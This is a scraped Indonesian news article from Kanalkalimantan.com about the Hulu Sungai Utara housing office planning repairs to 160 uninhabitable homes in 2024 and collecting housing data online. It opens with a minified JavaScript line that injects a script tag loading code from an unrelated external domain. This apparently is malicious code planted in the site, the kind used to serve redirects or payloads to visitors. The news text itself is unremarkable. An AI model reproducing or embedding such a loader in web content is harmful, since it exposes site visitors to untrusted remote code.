(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Disperkim LH HSU Siapkan Program RTLH 160 Rumah Warga di 2024

KANALKALIMANTAN.COM, AMUNTAI – Dinas Perumahan, Kawasan Permukiman dan Lingkungan Hidup (Disperkim LH) Kabupaten Hulu Sungai Utara (HSU) siapkan program peningkatan kualitas atau perbaikan Rumah Tidak Layak Huni (RTLH) sebanyak 160 buah tahun 2024.

Hal itu dikemukakan Kepala Disperkim LH HSU, Hermani Johan saat membuka sosialisasi tentang optimalisasi pendataan dan validasi RTLH secara online, di aula Disperkim LH HSU, Senin (30/10/2023).

“Untuk tahun depan, kami Insya Allah akan memperbaiki rumah tidak layak huni sebanyak 160 rumah dari dana APBD dan tidak menutup kemungkinan dari dana DAK dan provinsi,” bebernya.

Untuk mendukung program peningkatan kualitas RTLH di tahun 2024 tersebut, maka diperlukan pendataan dan validasi yang dibantu oleh perangkat desa kelurahan, kecamatan, dinas, serta instansi terkait lainnya guna pengembangan data informasi yang tepat.

Sebagai mana yang pernah disampaikan Penjabat (Pj) Bupati HSU, kata Hermani, program ini diharapkan dapat terealisasi secara merata di seluruh kecamatan di Kabupaten HSU nantinya.

Seiring dengan itu, Kepala Bidang Perumahan dan Kawasan Pemukiman Disperkim LH HSU, Yandi Gunawan menyampaikan bahwa pihaknya siap membantu kecamatan, kelurahan dan desa terkait pendataan dan validasi RTLH secara online.

Disperkim LH HSU terus berupaya meningkatkan pengembangan data dan informasi RTLH melalui aplikasi ‘Si Rumah Kita’ secara online.

“Nantinya kita akan melakukan verifikasi ke kecamatan-kecamantan, keluarahan desa sekaligus memberikan bimbingan teknis agar aparat didesa misalnya bisa meng input data secara langsung,” jelas Yandi.

Selain itu, pihaknya juga menargetkan pendataan dan validasi data RTLH dapat selesai secepatnya sebelum tanggal 13 November 2023.

“Kami berharap data ini menjadi dasar kami untuk dapat memberikan stimulan atau bantuan perbaikan kepada rumah yang dinilai tidak layak huni nantinya,” tandasnya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie